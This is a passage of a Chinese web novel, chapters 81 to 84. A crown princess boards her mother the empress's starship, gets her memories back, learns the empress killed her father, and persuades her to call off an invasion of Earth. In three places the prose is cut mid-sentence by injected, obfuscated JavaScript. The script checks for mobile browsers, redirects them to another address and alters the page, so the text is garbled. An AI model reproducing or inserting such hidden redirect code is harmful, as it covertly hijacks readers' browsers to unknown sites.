“稍后星舰底部会降下阶梯,陛下身边的骑士会前来接引您进入星舰。”塞拉斯为她讲解流程,“作为您的骑士,我无法走在您的身前为您领路,接引人会带着您前去面见陛下……等等,那是?” 塞拉斯突然露出了讶异的表情,黎望舒顺着他的目光向上望去——只见星舰顶部的外壳缓缓向内部收缩,露出了底下如同豪华邮轮甲板似的平坦结构。 甲板前端立着一个女人,她皮肤苍白,身形高挑,卷曲的深黑长发如瀑般散在脑后,发丝被高空中的强风吹起。她身穿硬质裤装,胸前装点着繁复的配饰与流苏,肩上垂下一条流光溢彩的披风,站姿挺拔,看起来气势十足。 站在距地面几十米的高空,那个女人低下头,准确地与黎望舒对上了视线——距离过于遥远,黎望舒看不清她的表情,但能感受到她目光中的冷锐与威压……如同被兜头泼了一盆冷水似的,她骤然清醒过来。 她心中凛然,对这个女人的身份有了猜想。 塞拉斯已经低下了头,轻声提醒黎望舒:“……那是女皇陛下。” “我知道。”黎望舒嘴唇微动,不动声色地回答,较劲似的并没有移开目光。 女皇也牢牢地盯着黎望舒,表情模糊不清,不知在想些什么。 片刻后,她扬手叫来身后身穿铁甲、手执重剑的高大骑士,偏头对骑士说了些什么。她低头又看了一眼黎望舒,随后便转身离开了甲板,身后闪亮的披风被大风猎猎吹起,又消失在了甲板尽头逐渐闭合的舱门之中。 女皇消失后,塞拉斯明显松了口气。 “你看起来很惊讶。”黎望舒问他:“刚刚发生的事很奇怪吗?” “只是不符合流程而已,也许是女皇陛下的一时兴起吧。”塞拉斯慢吞吞地说,“事实上,女皇陛下似乎不太喜欢我,所以在她面前我不得不格外小心。” “她讨厌你?”黎望舒眨了眨眼,“那你是怎么当上首席骑士长的。” “我是您的骑士,当然是因为您的赏识。”塞拉斯又摆出了他的招牌微笑,“多亏了您,我才能有如今的地位,我无时不刻不发自内心地感谢您。” “……”黎望舒不说话了。 谈话间,星舰底部转出了长长的螺旋阶梯,曾经在甲板上见过的铁甲骑士顺着阶梯走下,来到了黎望舒三人面前。 81. 第 81 章 铁甲骑士在他们三人面前站定,膝部的甲胄相互擦碰,发出了一声沉重嗡鸣,骑士的面庞掩在冰冷的金属面罩之下,单手提着一柄镶满宝石的宽阔重剑。 “王储殿下,请跟我来。”铁甲骑士将剑尖重重地扎入沙地,躬身冲黎望舒行了一礼,面罩下传出模糊又平淡的女声。 黎望舒刚准备抬步,铁甲骑士的面罩忽然向郁仪的方向偏了一点:“那边的人类,陛下允许你与王储殿下同行登舰。” 郁仪先是惊讶地睁大双眼,又克制地压平唇角,低声说:“我在这里等就可以。” “这不是选择的机会,而是女皇陛下的指示。”铁甲骑士将重剑从沙中拔出,漠然地说,“人类,我必须将你带到陛下面前。” 郁仪缓缓皱起眉毛,犹豫不决地看向黎望舒。 “来吧,你不是不想等待吗?”黎望舒朝郁仪伸出手,“没关系的。” 郁仪这才放下心来,无言地缀在了黎望舒背后。 黎望舒清楚地听到身后的塞拉斯轻嗤了一声。她皱眉警告地瞪了塞拉斯一眼,塞拉斯闭上了嘴,朝她歉意地躬身。 郁仪将他们的互动收入眼底,高兴黎望舒为他出头的同时,心中又微妙地泛出一股妒意。他尽力不将心底的情绪表露出来,目不斜视地望向前方。 一行人登上旋转阶梯,铁甲骑士沉默地走在前方为他们带路,挂在腰间的重剑与盔甲相碰,不断发出铿锵响声。这位骑士在举止与礼仪上挑不出错处,但似乎对所有事都漠不关心,转达了必要的话之后再也没有开过口。 铁甲骑士走得沉稳,黎望舒跟在她身后,也不得不规规矩矩地走在漫长阶梯上。 她强忍一跃而上的冲动,望着前方的银盔背影,向她搭话:“女皇陛下为什么要见他……这个人类?他有什么特殊之处吗?” 郁仪脑海中的精神印记是王族留下的,她猜想,女皇可能看出了这一点。 “我不清楚。”铁甲骑士顿了顿,似乎察觉到了自己的回答过于冷淡,一阵沉默后,她又接着说:“我只是一介骑士,只需听令行事,不应该随意猜测女皇陛下的想法。” “你很谨慎。”黎望舒又问:“按照我们的计划,女皇陛下本不该来得这么快,星舰上发生了什么事吗?” “据我所知,并没有,所有星舰内运转一切正常。”铁甲骑士一板一眼地回答,“这是女皇陛下的指令,陛下并没有向我们交代这样做的理由,只是吩咐我们尽全力缩短路上需要耗费的时间,不计代价。为了尽可能加快速度,我们使用了数次跃迁。” 跃迁?熟悉的字眼……对了,戚依依曾提到过,族群中有人能够使用远距离跃迁的能力。 黎望舒垂眸思索。 “殿下。”似乎看出了她的疑惑,塞拉斯上前一步,凑近她耳畔轻声为她说明:“星舰的跃迁是对精神能力的模拟,但不同于精神能力的低消耗,星舰想要进行跃迁往往需要耗费极为巨大的能量。” 黎望舒微微点头,表示自己已经知晓。铁甲骑士听见了后方传来的私语声,但没有表现出任何关心,步履依旧沉稳。 有资格待在女皇的近处,想必这位铁甲骑士就是女皇的骑士长了。尽管黎望舒与她只有只言片语的交谈,但也能看出她与塞拉斯在处事风格上的巨大差异——这位女骑士长严守本分,不触碰任何越权的事务,塞拉斯则更擅长察言观色,每时每刻都在揣摩她的心思,以此来提供更加贴心的服务。 事实上,塞拉斯的确做得很好。每当她对某些事物感到疑惑时,塞拉斯总会在她开口询问之前做出反应,及时用谦卑的态度为她解答问题,她并不认为这样的“越权”是对自己的冒犯,但从铁甲骑士的反应来看,女皇显然不这样想。 手下人的处事风格往往也能体现出主人的性格,女皇对部下的约束似乎颇为严格,也许正是因为这种差异,塞拉斯才会认为女皇不喜欢他吧。 她曾经以为潮星的王族与骑士们都是塞拉斯那种浮夸又讲究的性格,光是想象在觥筹交错的宴会上、衣着繁复的男男女女捏着一口冗余敬语互相吹捧的场景,她背上就会生出一片鸡皮疙瘩,更别说自己参与其中了……幸好事实并非如此,这让她松了口气。 “……殿下?”塞拉斯若有所感,“您在想什么?” “没什么。”黎望舒直视前方。 走过漫长的旋转阶梯,前方是一扇泛着蓝光的银色舱门。 登入星舰之前需要验证身份,舱门顶端扫下一道柔和蓝光,铁甲骑士按下头盔内侧的按钮,面罩上半部分随之滑开,她将虹膜对准蓝光。 蓝光在她的湛蓝瞳孔上停顿一瞬,又倏地消散了,同时,银色舱门缓缓向两边打开。 舱门左右守着两个卫兵,都没有戴头盔,手执武器,身姿挺拔。 在等待铁甲骑士进行身份验证的间隙里,黎望舒注意到舱门右侧的年轻卫兵频频朝这边投来灼热的视线,她不明所以地回望过去,朝卫兵露出一个友善的微笑。 年轻卫兵瞪大双眼,慌张地移开了视线,瞳孔动摇地晃了几下,生着雀斑的脸颊涨得通红。 “看来她是您的支持者。” 进入舱门后,塞拉斯带着笑意的声音在耳侧响起,“不必感到惊讶,您是尊贵的王储,在族群中的声望仅次于女皇陛下。” 黎望舒沉默地点头。 尽管塞拉斯与戚依依整日称她为殿下,可她对自己的身份一直没什么实感。方才接触到年轻卫兵崇敬的眼神时,她心中涌出了一股奇异的责任感,头一回感受到了“王储”这个称呼背后隐含的重量。 她的做法将会损害整个族群的利益,不止女皇陛下,曾经对她怀有期待的子民也许都会对她失望……迟钝地意识到这一点,她胸口一沉,宛如压上了一块大石,连呼吸都变得沉重几分。 但她不会改变主意,为了珍视的伙伴们,也为了还在痛苦中遭受折磨的人类,这件事她非做不可。 在铁甲骑士的带领下,黎望舒三人行走在空旷的长廊之中,鞋底与青色地板碰撞,发出阵阵清脆回声。 长廊中不时有三人一组的卫兵小队巡逻经过,见到铁甲骑士与她身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114438|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黎望舒时,不约而同地退至一边,俯身行礼;铁甲骑士并未给予他们回应,面罩没有一丝偏移,目不斜视地从他们身侧经过。 黎望舒收回放在卫兵小队身上的目光,转而默默打量身侧的舱壁——地板与墙壁看起来是同一种材质,远看时像钢铁,近看时又像玉石,泛着柔和的淡青色荧光,并不刺眼,触感冰冷又坚硬,黎望舒从未在这颗星球上见过类似的材质。 “这是潮星的特产——玉钢,从海底开采,坚硬又极具韧性,是不可多得的好材料。”塞拉斯像个导游,尽职尽责地为她讲解一切新奇的事物,“这艘星舰就是由玉钢铸成的,表面的银白色涂料有一定的光学迷彩作用,搭配上女皇陛下包裹在星舰表面的精神力,能够神不知鬼不觉地瞒过探测,潜入任何地方……” “好了,已经足够了。” 塞拉斯的讲解太过详尽,连前方的铁甲骑士都有些困惑似的,原先充满节奏感的步伐变得混乱了不少,黎望舒不得不打断他,“我们不是来旅游的,不必说得这么详细。” “……抱歉,是我失态了。”塞拉斯迅速调整好状态,“太久没有闻到来自家乡的气息,我有些激动。” 星舰内部的道路如迷宫般错综复杂,黎望舒跟着铁甲骑士搭乘了七八次向上的电梯,又转过不知第几个弯后,终于到达了女皇所在的政务间。 女皇专用的政务间位于整艘星舰的最顶层。刚一踏出电梯,黎望舒就敏锐地发现了这一层与其他楼层的不同——这一层的装潢明显更加奢华,空气中飘散着优雅的香气,头顶上不再是吊灯,而是一整块散发着柔和光芒的未知光源,将走廊照得没有一丝阴影,就连走廊地面上都铺着大块的米白色地毯,触手滑上去的感受非常舒适,就像陷入了一整块柔软蓬松的大面包。 不愧是立于顶点的王族,真会享受——黎望舒恋恋不舍地从地毯中抽出触手。 铁甲骑士在两扇刻满花纹的高大半圆形大门前停步。 “王储殿下,请进,女皇陛下正在等待您。” 恭敬地对黎望舒做了个请的手势,铁甲骑士转身守在门前,语气冷淡地对塞拉斯两人说:“随从与人类请先在对面的房间内等候。” “是。”塞拉斯规矩地应声,又耷拉着眼皮看了郁仪一眼,皮笑肉不笑地说:“跟我来。” 目送郁仪与塞拉斯进了对面的小房间,黎望舒深吸一口气,将胸中的踌躇尽数压下,推开了那两扇沉重的大门——刚一踏入门内,一道小小的影子立刻扑了上来! 黎望舒紧绷的神经一动,下意识要甩出触手,却在看清那道黑影的一瞬间放弃了攻击的动作——那是一个小女孩,以人类的年龄来衡量大约十一二岁,满头金灿灿的发丝被缎带束成双马尾,亮眼地飘散在空中。 她伸出双手,稳稳地接住了向她怀中扑来的女孩。女孩用毛绒绒的脑袋顶依恋地在她颈侧蹭了蹭,小小的身体软乎乎的,与她相近的体温紧贴着她,两个人心跳仿佛重叠在一起……她心中泛起一丝不可思议的涟漪。 她脸上不自觉地露出一个微笑。 82. 第 82 章 金发女孩挂在黎望舒的脖子上,口中含糊地念叨着什么,像只金毛犬似的埋在她肩膀上蹭来蹭去。 黎望舒抱着女孩愣了两秒,抬眸看见房间中央的圆桌边上,曾在甲板上遥遥见过的女皇陛下正倚在桌边,静静地向这边看过来,眉眼不似之前那般冷厉,甚至称得上柔和。 “——!!” 似乎对她的沉默感到不满,金发女孩忽然抬起头来,湖绿双眼水汪汪地紧盯着她,叽里咕噜地吐出了一大串话。 金发女孩说的似乎是潮星人独有的语言,咬字圆润,尾音上扬,清脆的音符如水波般轻轻拂过耳畔,听起来非常悦耳……但问题是,黎望舒一个字也听不懂。 她沉默地与金发女孩大眼瞪小眼,看着对方眼眶中一点点蓄起的晶莹泪水,罕见地有些茫然。 “尤法,我教过你,遇事要细心观察。”女皇用流利的中文提醒金发女孩,嗓音泛着凉意,“你该改一改这冲动的毛病了。” 名叫尤法的金发女孩从鼻腔中发出疑惑的哼声,瞳孔中蓝光一转,惊讶地又吐出了一串话。 “没错,她现在没有从前的记忆。”女皇说,“你要使用人类的语言才能让她理解……你应该没在语言课上偷懒吧。” 尤法尴尬地沉默了。她小巧的鼻子皱起,似乎在努力回忆学过的知识,脸上写满懊悔,但依旧紧紧抱着黎望舒的脖子不撒手。 纠结了半天,尤法又将手臂收紧了一些,怕女皇听到似的,她凑到黎望舒耳畔,磕磕绊绊地用生硬的中文小声说:“姐姐,我们好久没见了……我好想你,超级超级想你!” 她说话的时候,细小的气息热乎乎地扑在黎望舒耳畔,黎望舒抚在她背上的手一顿,不知该怎样回应她。 她从前在孤儿院做义工时经常需要与小孩子打交道,总结出了一套糊弄小孩的方法,但尤法是与她血脉相连的亲妹妹,话中的感情又过于真挚,她本能地不愿意敷衍尤法。 “谢谢。”迎着尤法期待的眼神,黎望舒憋着气夸她,“你……很可爱,裙子很适合你。” “真的吗?我太高兴了!”尤法双眼一亮,立刻松手从她脖子上跳下来,拎着镶满蕾丝与宝石的裙摆转了一圈,“这是我现在最喜欢的裙子,特意穿过来见你!” 黎望舒连连点头,笑得脸部肌肉发僵。 她没想到事情会这样发展。甲板上女皇的眼神冷锐锋利,结合女皇不计代价推进行程的举动,她猜测自己会收到责难,所以在踏入房间前,她已经做好了应对狂风骤雨的准备,但…… 黎望舒忍不住抬眸望向女皇——她依然倚在圆桌边,温和地望着她们姐妹俩,肩上的披风与挂满璀璨徽章的外衣被卸下挂在一边,露出了底下层叠繁复的丝质上衣,周身气质少了几分锋利,多了几分平易近人。 这样子怎么看也不像是在生气。 “好了,尤法,你该回去了。”注意到黎望舒的手足无措,女皇冲着尤法开口,语气是常年居于上位的不容置疑,“我要和她单独谈谈。” “好的,母亲大人。”尤法向女皇简单行礼,又依依不舍地对黎望舒挤了挤眼睛,“姐姐,我会让骑士在外面等你,有空了记得来找我。” 大门打开,尤法脚步轻快正要离开,女皇双眼微眯,叫住了她:“尤法,你到底缺了多少节语言课?” 尤法背影一僵。 “你的骑士长又帮你在课表上作假了,对吗?”女皇抬起下巴,用陈述的语气说,“你知道该怎么做。” “……遵命,女皇陛下。”尤法彻底蔫了下来,顶着门外铁甲骑士的目光朝女皇行了全礼,“我会和骑士长一起去领罚。” 目送那对灿金色的双马尾消失在门后,黎望舒重新整理表情,站在原地接受女皇的打量。 “到这边来,我的孩子。”女皇冲她招手,“我来为你解开封印。” 黎望舒沉默地向前两步,来到女皇面前。 女皇的琥珀色瞳孔与她如出一辙,看起来清透又淡漠。无数根细小的精神触丝从女皇身后延伸出来,缓慢地钻进了她的精神海,整个房间都被精神触丝绽放出的蓝光充盈。 女皇的动作非常轻柔,精神海中的封印缓缓被触丝撬动,又在女皇精神力的作用下一点点消融殆尽。过往记忆随着庞大的精神力一起回到了她的身体中,将她的身体冲刷得焕然一新,整个过程自然而然,没有一丝不适感,甚至还有几分舒适,她的灵魂像被包裹在柔软的羊水中一样,无边无际地飘荡,这感觉令她昏沉、恍惚、留恋着不愿醒来。 她下意识将自己的精神力扩散出去,无形精神力水波似的扫过星舰里里外外的结构,仿佛进入了第三人称似的,周围的一切对她来说一览无余——无论是门外面无表情站岗的铁甲骑士,还是对面房间里相对无言、气氛冷凝的塞拉斯与郁仪两人,抑或是正在电梯中向身边骑士抱怨不停的尤法……一切细节尽在她掌握之中。 她终于明白了塞拉斯掌握自己行踪的方法。在半空中俯瞰一切的感觉如同神明,令她着迷,她忍不住将精神力扩向更远的地方,直到触碰到星舰外围那层属于女皇冰冷的、充满锐意的精神力,她才猛地回过神来。 黎望舒不由自主地趔趄两步,女皇及时伸手扶住了她,牵着她坐在手边的椅子上,温和地对她说:“欢迎回来。有段时间不见了,我的孩子。” “……母亲大人。”黎望舒艰难地整理脑中记忆,脱口而出,“抱歉,我……” “比起道歉,我更想听听这颗星球上究竟发生了什么。”女皇略有些严厉地打断了她,“你遇到了危险?怪不得没有回应我的呼唤,居然连记忆封印都没能解开,知道我有多担心你吗?” 黎望舒下意识张口,却不知该从何说起,女皇也不催促她,只是静静地坐在一边等待。 在脑中梳理完自己的记忆,黎望舒隐约明白前世的自己为什么会自裁了。 他们的族群是神明与强大海怪的后代,继承了神的血脉。一开始,族群中有些人选择与同族产下后代,以保持血脉的纯洁,也有些人追求自由的爱情,宁愿让神明的血脉变得稀薄也要与外族结合。 经过几代传承后,两种派系间逐渐泾渭分明——血脉浓郁的直系外形接近神明,在精神力上的天赋极高,某些血脉纯净的个体甚至能够继承一部分来自神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118587|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能力;血脉稀薄的旁系们则生得奇形怪状,能力低下,理智也稀薄,被本能支配,鲜少有能够媲美海怪先祖的个体出现。 先代女皇察觉了这种现象后,严令禁止残余的直系血脉与外族通婚,对王族的管束尤为严格。在这位女皇的努力下,王族保下了最为纯净的血脉与最为强大的力量,她们这一家系的统治一直延续到了现任女皇这一代。 黎望舒的远距离折跃能够跨越遥远的星海,经常被用于作战,因此广为人知,但除她以外大多数王族的能力都是保密的,尤其是女皇的能力,对大部分族人来说都是秘密,连身为王储的她也只知道一个大概—— 女皇的能力能够逆转时间,回到过去改变历史,是名副其实的神力。通过这种能力,她成功规避了数次政变。 或许是在与女皇的交涉中得到了不符合期望的结果,或许是感到手中的罪孽太过深重,前世的她认为只有自己的命才有足够的分量让女皇发动能力改变一切,于是毫不犹豫地对自己挥刀……事实上,她的确猜中了女皇的想法。 这样的计划太过冒险,也太过任性,相当于将自己的命交到了女皇手中,一步踏错,她就会真的就此殒命。但如果是为了得到自己想要的东西,哪怕眼前只剩下一条路,她也会毫不犹豫地走上去,去赌一个微不足道的可能性。 黎望舒沉默良久,抬眸问道:“您使用了能力?郁仪……那个人类,您将他送回了过去?” “是的,但我并不知道具体发生了什么。”女皇颔首,“逆转时空,这是能够比肩神力的强大能力,但我终究不是神明,无法自由自在地操控时间。我的能力虽然能够改变历史,但只有真正回到过去的人才能够保留记忆,连我自己都不会察觉到能力的发动。为了提醒自己,将指定的人送回过去之前,我会在他们的脑海中刻下特殊的精神印记。” 缓了一口气,她接着说:“那时,我在星舰上感应到行进方向上多出了一道陌生的印记,意识到能力再次发动了。我不会为了小事动用能力,真正重要的只有整个族群的存亡与你们两姐妹的性命,那时尤法在我身边,有可能出事的只有你。” “所以您才会提前降临……”黎望舒双眉紧锁。 “没错。”女皇表情淡然,“我不能失去你——尤法的性格不适合接替我的位置,你是我重要的女儿,更是我唯一的王储,我绝不会将王位拱手让给其他家系的人。” 黎望舒思索片刻,依然有一件事想不通:“但我不明白,母亲大人,您为什么不亲自回到过去,而是选择信任一个底细不明的人类?” 按照女皇万事亲力亲为的性格,如果想要扭转一切,应该会亲自回到过去,或是取消计划,或是换一个人担任指挥官……她不明白女皇为什么会选中郁仪。 郁仪重生后甚至不知道自己是为了什么回到过去的,他一路凭着本能行动,误打误撞地斩杀了青皮怪物,又稀里糊涂地跟着她来到这里。虽然最后结果不错,但这样做的风险实在太大了,如果前世的她知道被送回过去改变一切的人选不是女皇本人,甚至也不是她自己,而是对一切一无所知的郁仪,她手中的刀绝不会挥得如此草率。 83. 第 83 章 “我说过,这并非神力,有着极大的局限性。”女皇沉默一瞬后,向她交了底,“并非是我不想亲自回去,而是做不到——我的能力只能对同一个人使用一次,哪怕是自己也不例外。” “什么……!”黎望舒吃了一惊,“这一点您从未对我说过。” “这可是我最深的底牌。”女皇笑了笑,“我总是忍不住将你看作孩童,害怕你被人利用、蒙骗,所以有意向你隐瞒了一些细节,现在想来,是我小看你了。” 黎望舒怔住了。 在她的印象中,母亲向来强大、优雅、战无不胜、无所畏惧……她从未想过,会从母亲口中听到“害怕”这两个字。 “原来您也会怕。”她低声说。 “我当然会怕……怎能不怕。” 想到了什么似的,女皇面色突然阴沉下来。她换了个姿势,双腿交叠,视线投向窗外的夜空,像是在回忆往事,“我第一次在自己身上动用能力,就是为了你。” “为了我?”黎望舒疑惑,“我没有印象。” “是啊,那时候尤法刚出生不久,你还是个孩子,所以我没有告诉你。”女皇嗓音骤然转冷,“事到如今,也没什么不能说的——你的父亲并非死于政治斗争,是我亲手杀了他。” 黎望舒一时没反应过来。父亲——这对她来说是个相当遥远的词汇。 她的父亲西利乌斯曾是女皇的首席骑士长,在她很小时就早早死去,女皇又下令焚毁了所有父亲的画像……她已经无法清晰地回想起父亲的面容了,只记得他与妹妹相同的灿金发丝与湖绿双眼,还有他弯腰时对自己露出的和煦笑容、温柔抚过自己头顶的那双手。 “为什么?”复杂的感情攀上心头,她说不清那是悲伤还是愤怒,抑或是二者都有,“父亲他……对我做了什么?” 女皇说:“你知道的,他的家系传承着控制人心的能力,能够在精神深处种下暗示,将被能力影响的对象变成听话的傀儡。但这种能力很难对王族使用,王族的精神力比他们强大得多,只要有一丝防备他们就无法成功控制。” “他想要将我变成傀儡?”黎望舒难以置信地说,“因为……因为我是他的女儿,因为我对他没有防备?” “更是因为你那时已经成为王储,只要控制住你,他就能掌控整个族群的未来。”女皇的叙述出乎意料地平静,“我知道他一直野心勃勃,但怀着侥幸心理,以为他不会对自己亲手孵化出来的孩子动手。当我发现他的小动作时,他已经将忠于他的种子种在了你的精神海最深处,就算将种子挖出来,你也会因为精神海受损沦为废人。” “我对这一切没有印象……过去已经被改变了。”黎望舒喃喃道。 “是啊,幸好我没有对他交底。他用你来要挟我,以为事情已成定局,却没想到我还藏了一手底牌。”女皇讥讽地笑出了声,“我回到过去,在卧房中找到了他,将他杀死。可悲的西利乌斯,被我捅穿了肺部后说不出话来,只能一边咳着血沫一边紧盯着我,双眼中满是对我的控诉……恐怕到咽气前的最后一秒,他也不知道自己的计划为何败露。” “您因此厌恶塞拉斯?”黎望舒想起了塞拉斯在山村基地中刻录出的蛇剑纹样圆牌,小时候,她常常在父亲身上见到一模一样的花纹,“他与父亲出身同一家系。” “塞拉斯?啊,我想起来了,是你的首席骑士。”女皇兴致缺缺地说,“我对他并没有特殊的感情,但我不喜欢你毫无防备信任他的样子。我将这件事告诉你只是为了提醒你,人是会变的,西利乌斯最初也不是那副利欲熏心的模样,他被权欲染黑了整颗心,谁都有可能变成那样……” 女皇的声音逐渐低下去,她微微垂眸,指节有一下没一下地敲着膝盖,视线钉在地板上,似乎沉浸在了往事之中。 “您的教诲,我铭记在心,我会时常审视身边人的态度。”黎望舒顿了顿,“抱歉,让您想起了不愉快的往事。” “对他的恨意早已在漫长的时光中磨灭,谈起他时我并不会感到悲伤或是愤怒。”女皇回过神来,接着说:“尤法继承了他的长相,见到尤法时,我常常会想起他。直到现在,我也没办法理解是什么样的欲.望推动他做出了那么可怕的事情……作为我的首席骑士,他得到的已经够多了,亲手孵化养大的孩子难道还比不过他对王权的渴望?” 黎望舒不知道答案,她同样为此感到困惑。 沉默并没有持续太久,女皇很快从往事中抽离出来,揉了揉太阳穴,对黎望舒说:“偏题了……往事就说到这里。你一直在向我提问,还没有回答我的问题,这颗星球上究竟发生了什么?” 黎望舒吞了口唾沫,有些心虚。 一味逃避是没有用的,她定了定神,硬着头皮将前世今生发生过的事按时间线整理好,原原本本地讲述了一遍。 眼看女皇的面色越来越黑,她干脆心一横,直视着女皇,破罐子破摔地说:“在您为我解开记忆封印后不久,我就散出了精神波,命令星球上所有低级种停止活动。母亲大人,人类拥有独属于自己的文明,我们不该对拥有高度智慧的种族下手,无论您说什么,我都要终止这次计划。” “胡闹!” 女皇果然勃然大怒,她胸膛起伏两下,克制地压下了怒气,双眉紧皱地训斥:“我从前是怎么教育你的?永远不能把自己的命运交托在其他人手中,哪怕这个人是我!我的能力不是万能的,万一出了什么意外,你就真的——” 女皇五指用力扣在圆桌上,几乎将坚硬的玉钢压出了裂纹,她唐突地截断了话头,没有继续说下去。 “对不起,我已经认识到自己的错误了,不会再有第二次。”黎望舒诚恳地认错,顿了顿,见女皇只是冷哼一声,没有继续开口的意思,她又试探地问:“您只为了这一件事训斥我?关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122822|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于我在最后提出的想法,您就没什么想说的?” “呵……从你带着人类出现在我面前那一刻起,我就猜到你的想法了。”女皇还没消气,语气冷淡,“你被人类的文化影响,磨平了棱角,变得柔和了,这对你来说并不是坏事。” “……为什么这样说?”黎望舒眼皮一跳。 “我没有责怪你的意思,铲除异己、树立权威,这是王储需要掌握的知识。你做得很聪明,也很隐蔽,让身边的骑士长代你下手,既得到了威名,也收获了人心。”女皇毫不留情地揭了她的老底,又缓下声音说:“但你的手段有时过于激进,缺乏仁慈的首领注定无法维持长久的统治。在人类的文明中走了一遭,你的变化让我感到惊喜,比起可有可无的领地,我更愿意看到你的成长。” “原来您都知道。”想起了从前做过的混账事,黎望舒如梦初醒,前额突突发痛,“我还以为自己瞒得很好……那时候我的确不太懂事。” “该说的差不多说完了,到此为止吧,我该去舰桥了。”女皇起身拿起一边的外套与披风,雷厉风行道:“计划终止,星舰群会立刻返回潮星,让所有高级种登上星舰,我会将他们全部带回去。” 她将硬质外套与披风裹在身上,一甩头发,平易近人的气质消失不见,又变回了那个居高临下的女皇陛下,她吩咐道:“一切整顿好后,用你的能力将我送回潮星。那边的公务由我的姐妹吉娜暂管,我想尽快回去接手——为了弥补你给族群带来的损失,你也必须跟我一起回去。” “等一等,那个人类呢?”黎望舒起身跟上她,“您选中了他,将他送往过去,又把他叫到星舰上来,居然不见一见他就要走?” “我对弱小的短寿种族没有兴趣,也从不将希望寄托在其他人身上。”女皇头也不回地说,“我不会将回到过去的那个人当作救命稻草,那只是一道保险,真正的作用是用来提醒过去的我,让我能更早预知到危机将要产生,从而提前做出反应,规避危机。” 说着,她止住脚步,回头用锐利的视线扫视黎望舒,指出问题:“我知道你对那个人类有好感,但我不希望看到你沉迷于情爱。他适应不了我们的生活环境,寿命最多不过百年,只是你人生中的过客,与他相处的时间越多,你就越难忘记他,他的死会成为扎在你心中的刺,让你的心时时隐隐作痛。如果明智,你现在就该切断与他的关系。” 黎望舒呼吸一滞,喉头发堵。 女皇说得直白,但非常真实,这些都是她需要实际面对的问题。她明白在郁仪死后自己需要面对的是无尽的怀念,但她早已无法回头。 “您说的这些我都明白,但我已经答应了他,会陪他到最后。”她低声说,“不必忧心,我有分寸,应做的工作我会尽心尽力地完成,不会让他影响到我。” “那就好,不要让我对你失望。”女皇深深地看了她一眼,转身大步离去。 84. 第 84 章 装潢简单的等候室里,塞拉斯与郁仪分别坐在长桌的对角两端,相对无言。 漫长的等待令人心生焦躁,但这艘星舰是女皇陛下的领地,塞拉斯无论如何也不敢用精神力探测政务间内的情况。 不知道王储殿下那边怎么样了……塞拉斯不动声色地思索,心中的担忧愈演愈烈。 殿下年幼时就展现出了极为优秀的空间能力天赋,早早被立为王储,一直深受女皇陛下的信赖。按理说,女皇陛下应该不会为难殿下,但陛下行事向来雷厉风行,往日的汇报三言两语就会结束,这一次她们二人谈话的时间未免太长了些…… 他抬眸扫向对面——那个名叫郁仪的人类反应倒是淡定,漆黑长剑横放于膝上,闭目坐得端正,如同对世事漠不关心的入定老僧。 这家伙明明得了殿下的青眼,却丝毫不为殿下忧心,真是岂有此理!他想不通,女皇陛下为什么会允许这个人类登舰。 他愈发感到不爽。 郁仪察觉到了他不善的目光,眼皮一动,抬头直直地望了回来,黑眸中带着一丝疑惑。 塞拉斯本就心情不佳,看到郁仪淡然的样子更是怒火中烧,阴沉的情绪在心底蔓延。他不再自恃身份,忍不住拿话刺郁仪:“平时恨不得整天黏在殿下身边,现在却一副冷静的模样,你对殿下到底有几分真心?” “我左右不了事情的结果,再急也无济于事。”郁仪平静地回答,“而且,我相信她一定会得到她想要的东西。” “相信?呵……”塞拉斯冷笑一声,“你不会真的以为自己能一直待在殿下身边吧。” “……你想说什么?” 听出了塞拉斯的敌意,郁仪微微蹙眉,他一改在黎望舒身边时的百依百顺,掀开眼皮回敬了一个冰冷的眼神。 二人远远地针锋相对,空气中的火药味浓郁得仿佛会在下一秒被引爆。 “也许你还不知道,我们的族群不允许与外族通婚,王族被管束得尤其严格。如果她执意与你在一起,最后只会丢掉王储的身份,识相的话……”塞拉斯一边说,一边观察郁仪的反应。 他预想,郁仪可能会对殿下死缠烂打,也可能会恼羞成怒,最理想的情况当然是他黯然神伤,自觉抽身离开……无论结果如何,他都很乐意给对方添点堵。 可塞拉斯怎么也没想到,郁仪听到这番话后只是愣了一下,随后不知想到了什么,突然涨红了脸。 “通、通婚?!”淡然的表情碎裂,郁仪的脖颈迅速升温,烫得几乎要烧起来,他迅速移开目光,慌张得语无伦次,“我从没想过那种事……不,我、我想过,但不是那样的!我的意思是,我留在她身边已经很满足了……” 塞拉斯:“……” 殿下究竟看上了这蠢家伙的哪一点。 “重点不在这里。”塞拉斯牙根发痒,只觉得这个黑毛小子碍眼极了。他耐着性子接着说:“你与殿下注定无法拥有后代,为了种群的延续,你无法光明正大地待在她身边,最多只能成为她的情人。” 